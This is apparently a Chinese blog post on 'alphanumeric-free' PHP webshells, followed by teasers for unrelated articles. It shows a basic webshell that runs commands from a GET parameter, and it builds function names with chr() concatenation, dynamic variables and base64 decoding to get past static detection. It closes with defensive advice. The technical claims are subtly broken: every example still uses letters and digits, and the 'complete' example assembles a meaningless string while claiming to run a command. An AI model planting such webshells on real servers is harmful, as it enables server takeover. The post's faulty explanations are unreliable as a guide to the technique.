无字母数字webshell的命令执行
在Web安全领域,WebShell是一种常见的攻击手段,通过它攻击者可以远程执行服务器上的命令,获取敏感信息或控制系统。而无字母数字WebShell则是其中一种特殊形式,通过避免使用字母和数字字符,来绕过某些安全机制的检测。
一、无字母数字WebShell的基本原理
无字母数字WebShell利用了PHP等脚本语言的灵活性,通过将字符转换函数(如 chr()
)、字符串连接符(如 .
),或其他字符操作方法来构建出命令,进而避免直接使用字母和数字。
例如,通常的WebShell可能包含类似如下的代码:
<?php echo system($_GET['cmd']); ?>
而无字母数字WebShell则会通过一些字符操作,将上述代码进行转换。例如,可以通过 chr()
函数将每个字母的ASCII值转换为字符:
<?php echo system(chr(99).chr(109).chr(100)); ?>
这段代码中,chr(99)
表示字符 c
,chr(109)
表示字符 m
,chr(100)
表示字符 d
,最终构成 cmd
命令。
二、实现无字母数字WebShell
-
基础命令生成:
使用chr()
函数生成命令,如生成"ls"
命令:$cmd = chr(108) . chr(115); // 'l' = chr(108), 's' = chr(115) echo system($cmd);
-
字符拼接与执行:
PHP中可以通过字符串拼接和函数调用的方式避免使用字母:$f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $cmd = chr(108).chr(115); $f($cmd);
这段代码通过将字符的ASCII值转为字符,拼接得到
system
和ls
命令,然后调用system
执行ls
。 -
无字母执行Shell命令:
完整的无字母数字WebShell可以通过将这些技术组合来执行任意命令。例如:$a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $b = chr(99).chr(104).chr(114); $c = chr(40).chr(41); // () $cmd = $b.$c.chr(108).chr(115); // chr(99).chr(104).chr(114).chr(40).chr(41).'ls' $a($cmd);
该代码拼接出命令
chr(ls)
,并利用system
函数执行。
三、规避检测的高级技巧
-
动态变量名:
通过动态生成的变量名进一步混淆WebShell:${chr(102).chr(117).chr(110)} = 'system'; ${chr(99).chr(104).chr(114)} = 'ls'; ${${chr(102).chr(117).chr(110)}}(${${chr(99).chr(104).chr(114)}}());
这种方法将变量名和函数名都通过
chr()
生成,进一步规避静态检测。 -
编码与解码:
将命令编码为Base64等格式,并在执行前解码:$cmd = base64_decode('bHM='); // 'bHM=' is base64 for 'ls' system($cmd);
通过Base64编码后再解码执行,增加了WebShell的隐蔽性。
四、防御措施
尽管无字母数字WebShell通过绕过传统字符的方式来执行命令,但仍有多种防御手段可以提高系统的安全性:
-
禁用危险函数:在PHP配置中禁用
system
、exec
等函数,防止命令执行。disable_functions = system, exec, shell_exec, passthru
-
使用WAF:部署Web应用防火墙(WAF),对请求进行深度检测和过滤,识别并阻断恶意Payload。
-
日志监控与分析:对Web服务器日志进行实时监控,检测异常请求或命令执行痕迹。
-
最小化权限:限制Web服务器用户的权限,确保即使WebShell被利用,攻击者也无法获得高权限执行命令。
五、总结
无字母数字WebShell是一种利用PHP等语言灵活特性的攻击手段,攻击者通过字符转换和编码技术绕过安全机制,执行恶意命令。然而,通过合理的防御措施,如禁用危险函数、使用WAF等,可以有效减少这种攻击带来的风险。在实践中,系统管理员应结合多种手段,提高服务器的安全性。
相关文章:
无字母数字webshell的命令执行
在Web安全领域,WebShell是一种常见的攻击手段,通过它攻击者可以远程执行服务器上的命令,获取敏感信息或控制系统。而无字母数字WebShell则是其中一种特殊形式,通过避免使用字母和数字字符,来绕过某些安全机制的检测。 …...
Spring AI 项目实战(五):Spring Boot + AI + DeepSeek + Redis 实现聊天应用上下文记忆功能(附完整源码)
系列文章 序号文章名称1Spring AI 项目实战(一):Spring AI 核心模块入门2Spring AI 项目实战(二):Spring Boot + AI + DeepSeek 深度实战(附完整源码)3Spring AI 项目实战(三):Spring Boot + AI + DeepSeek 打造智能客服系统(附完整源码)4Spring AI 项目实战(四…...
【华为云Astro-服务编排】服务编排使用全攻略
目录 概述 为什么使用服务编排 服务编排基本能力 拖拉拽式编排流程 逻辑处理 对象处理 服务单元组合脚本、原生服务、BO、第三方服务 服务编排与模块间调用关系 脚本 对象 标准页面 BPM API接口 BO 连接器 如何创建服务编排 创建服务编排 如何开发服务编排 服…...

解决el-select选择框右侧下拉箭头遮挡文字问题
如图所示: el-select长度较短的时候,选择框右侧下拉箭头会遮挡选中的数据 选中数据被遮挡 解决办法: 组件如下: <td class"fmtd" :colspan"col.ptproCupNum" v-for"col in row" :key"…...

20250603在荣品的PRO-RK3566开发板的Android13下的使用命令行来查看RK3566的温度【显示优化版本】
20250603在荣品的PRO-RK3566开发板的Android13下的使用命令行来查看RK3566的温度【显示优化版本】 2025/6/3 11:58 RK3566的cpu运行效率 top busybox top rk3566_t:/ # rk3566_t:/ # rk3566_t:/ # cd /sys/class/thermal/ rk3566_t:/sys/class/thermal # ls -l rk3566_t:/sys/c…...

C语言字符数组初始化的5种方法(附带实例)
所谓初始化,就是在定义的同时进行赋值。 C语言中,初始化字符数组的方式多样,每种方式都有其特定的用途和优势。 1、使用字符串字面量初始化 最常见和简洁的初始化方式是使用字符串字面量。在这种方法中,我们直接将一个用双引号…...

npm run dev 报错:Error: error:0308010C:digital envelope routines::unsupported
npm run dev时报错如下 原因:更换node版本导致 解决: 修改package.json文件,在相关构建命令之前加入 SET NODE_OPTIONS–openssl-legacy-provider 运行成功...
模板方法模式:优雅封装不变,灵活扩展可变
引言:代码复用与扩展的艺术 在日常开发中,我们常遇到核心流程固定但某些步骤需差异化的场景。例如: 数据库操作的通用流程(连接→执行→关闭)HTTP请求的固定步骤(构建请求→发送→解析响应)报表生成的骨架(数据获取→格式转换→输出)模板方法模式正是为解决这类问题而…...

基于LLaMA-Factory和Easy Dataset的Qwen3微调实战:从数据准备到LoRA微调推理评估的全流程指南
随着开源大模型如 LLaMA、Qwen 和 Baichuan 的广泛应用,其基于通用数据的训练方式在特定下游任务和垂直领域中的表现仍存在提升空间,因此衍生出针对具体场景的微调训练需求。这些训练涵盖预训练(PT)、指令微调(SFT&…...
6.6本日总结
一、英语 复习默写list9list20 二、数学 学习线代第一讲,订正13讲1000题,写15讲课后题 三、408 学习计组2.2,写计组习题 四、总结 单词再背完一遍后背阅读词,未处理的习题堆积过多要及时处理 五、明日计划 英语ÿ…...

idea中 maven 本地仓库有jar包,但还是找不到,解决打包失败和无法引用的问题
1、删除本地仓库中的文件 进入本地仓库对应jar包文件目录中删除_remote.repositories文件和结尾为.lastUpdated的文件 2、回到IDEA刷新Maven 3、查看之前引用不了的jar是否引入成功...
安全编码规范与标准:对比与分析及应用案例
在软件开发领域,尤其是涉及安全关键系统的开发中,遵循编码规范和标准是确保软件质量和安全性的重要手段。除了CERT C、CERT Java和MISRA外,还有其他多个与安全相关的编码规范和标准,以下是一些主要标准的对比说明: 一…...

(33)课54--??:3 张表的 join-on 连接举例,多表查询总结。
(112)3 张表的 join-on 连接举例 : (113) 多表查询总结 : (114)事务 : (115) (116) (117) …...
集群与分布式与微服务
1.集群和分布式 1.1 集群是个物理形态,分布式是个工作方式 分布式:一个业务分拆多个子业务(节点),部署在不同的服务器上集群:同一个业务,部署在多个服务器上 1)分布式是指将不同的…...
8.axios Http网络请求库(1)
一句话总结 Axios 是一个基于 Promise 的 HTTP 客户端,用于浏览器和 Node.js,帮助你轻松发送请求、接收响应。 Axios is a Promise-based HTTP client for the browser and Node.js, making it easy to send requests and handle responses. …...
Python爬虫实战:研究mechanize库相关技术
1. 引言 随着互联网数据量的爆炸式增长,网络爬虫已成为数据采集和信息挖掘的重要工具。Python 作为一种功能强大且易于学习的编程语言,拥有丰富的爬虫相关库,如 Requests、BeautifulSoup、Scrapy 等。Mechanize 库作为其中的一员,特别擅长处理复杂的表单提交和会话管理,为…...
c++算法学习5——贪心算法
一、贪心算法的原理 贪心算法(Greedy Algorithm)是一种在每一步选择中都采取当前最优决策的策略,通过局部最优解的累积逼近全局最优解。其核心思想是“着眼当前,忽略整体”,适用于满足最优子结构和贪心选…...

SpringCloud学习笔记-3
声明:笔记来源于网络,如有侵权联系删除 1 openfeign 1)openfeign远程调用声明式实现 1.启动类中添加注解 EnableFeignClients EnableFeignClients SpringBootApplication public class OrderMainApplication {public static void main(St…...
【时时三省】(C语言基础)局部变量和全局变量
山不在高,有仙则名。水不在深,有龙则灵。 ----CSDN 时时三省 以前所见到的程序大多数是一个程序只包含一个main函数,变量是在函数的开头处定义的。这些变量在本函数范围内有效,即在本函数开头定义的变量,在本函数中可…...
An improved YOLACT algorithm for instance segmentation of stacking parts
【一种用于堆叠零件实例分割的改进 YOLACT 算法】 摘要 实例分割在众多应用场景中均是一项至关重要的任务。对于计算机视觉而言,堆叠物体的实例分割是一项挑战。为应对这一挑战,我们提出了一种改进的 YOLACT(You Only Look At CoefficienTs)算法。为提高密集堆叠场景下特…...
使用API网关Kong配置反向代理和负载均衡
简介 Kong 是一个微服务API网关。 Kong是一个云原生,快速,可扩展和分布式微服务抽象层(也称为API网关,API中间件或在某些情况下为Service Mesh)。 作为2015年的开源项目,其核心价值在于高性能和可扩展性。…...

BugKu Web渗透之eval
启动场景,打开网页,显示的是一段代码。 步骤一: 分析代码。 代码大概意思是: <?php//包含"flag.php"的文件include "flag.php"; //获取网页请求的hello数据$a $_REQUEST[hello]; //显示变量a的详…...

DAY45 可视化
DAY 45 Tensorborad 之前的内容中,我们在神经网络训练中,为了帮助自己理解,借用了很多的组件,比如训练进度条、可视化的loss下降曲线、权重分布图,运行结束后还可以查看单张图的推理效果。 如果现在有一个交互工具可…...

11.RV1126-ROCKX项目 API和人脸检测画框
一.ROCKX的API 1.ROCKX的作用 ROCKX的AI组件可以快速搭建 AI的应用,这些应用可以是车牌识别、人脸识别、目标识别,人体骨骼识别等等。主要用于各种检测识别。例如下图: 2.ROCKX人脸识别的API rockx_ret_t rockx_create(rockx_handle_t *han…...

超构光学与 AR 的深度融合 | 攻克 VAC 与眼动范围难题
原文信息 原文标题:“Three-dimensional varifocal meta-device for augmented reality display” 第一作者:宋昱舟,袁家琪,陳欽杪,刘小源 ,周寅,程家洛,肖淑敏*,陈沐…...

[ Qt ] | 与系统相关的操作(三):QFile介绍和使用
目录 之前的操作文件的方式 Qt中的文件操作简介 QFile 打开 读 写 关闭 一个例子来说明 QFileInfo 之前的操作文件的方式 C语言中,fopen 打开文件,fread fwrite 读写文件,fclose 关闭文件。 C中,fstream 打开文件&…...
RetroMAE 预训练任务
RetroMAE 预训练任务的具体步骤,围绕 编码(Encoding)、解码(Decoding)、增强解码(Enhanced decoding) 三个核心阶段展开,以下结合图中流程拆解: 一、阶段 A:…...

软件工程:如何做好软件产品
1、什么是产品 从项目到产品 产品:满足行业共性需求的标准产品。即要能够做到配置化的开发,用同一款产品最大限度地满足不同客户的需求,同时让产品具有可以快速响应客户需求变化的能力。 好的产品一定吸收了多个项目的共性,一定是…...

蓝桥杯 省赛 2025python(B组)题目(分析)
目录 第一题 为什么答案是103而不是104? 第二题 为什么必须按长度排序? 第三题 易错点总结 第四题 逻辑问题: 可能超过时间复杂度的代码示例 1. 暴力枚举所有可能的子串 2. 递归回溯 第五题 1. 暴力枚举法 2. 优化枚举 3.数…...

React - 组件通信
组件通信 概念:组件通信就是组件之间数据传递,根据组件嵌套关系不同,有不同的通信方法 父传子 —— 基础实现 实现步骤 父组件传递数据 - 在子组件标签上绑定属性子组件接收数据 - 子组件通过props参数接收数据 声明子组件并使用 //声明子…...